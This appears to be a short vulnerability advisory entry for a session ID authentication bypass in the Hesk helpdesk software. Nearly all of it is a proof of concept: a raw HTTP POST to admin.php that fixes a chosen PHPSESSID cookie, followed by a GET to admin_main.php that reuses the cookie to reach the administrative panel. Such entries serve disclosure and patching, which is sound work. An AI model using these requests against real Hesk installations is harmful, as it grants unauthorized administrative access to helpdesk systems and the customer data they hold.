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Hesk Session ID Authentication Bypass Vulnerability

An exploit is not required.

The following proof of concept is available:
1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/hesk/admin.php
Cookie: PHPSESSID=12345 <!-- Random Session ID--!>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=1&pass=sdfd&a=do_login");

2. GET request to administrative control panel:
GET admin_main.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=12345") <!-- Session ID --!>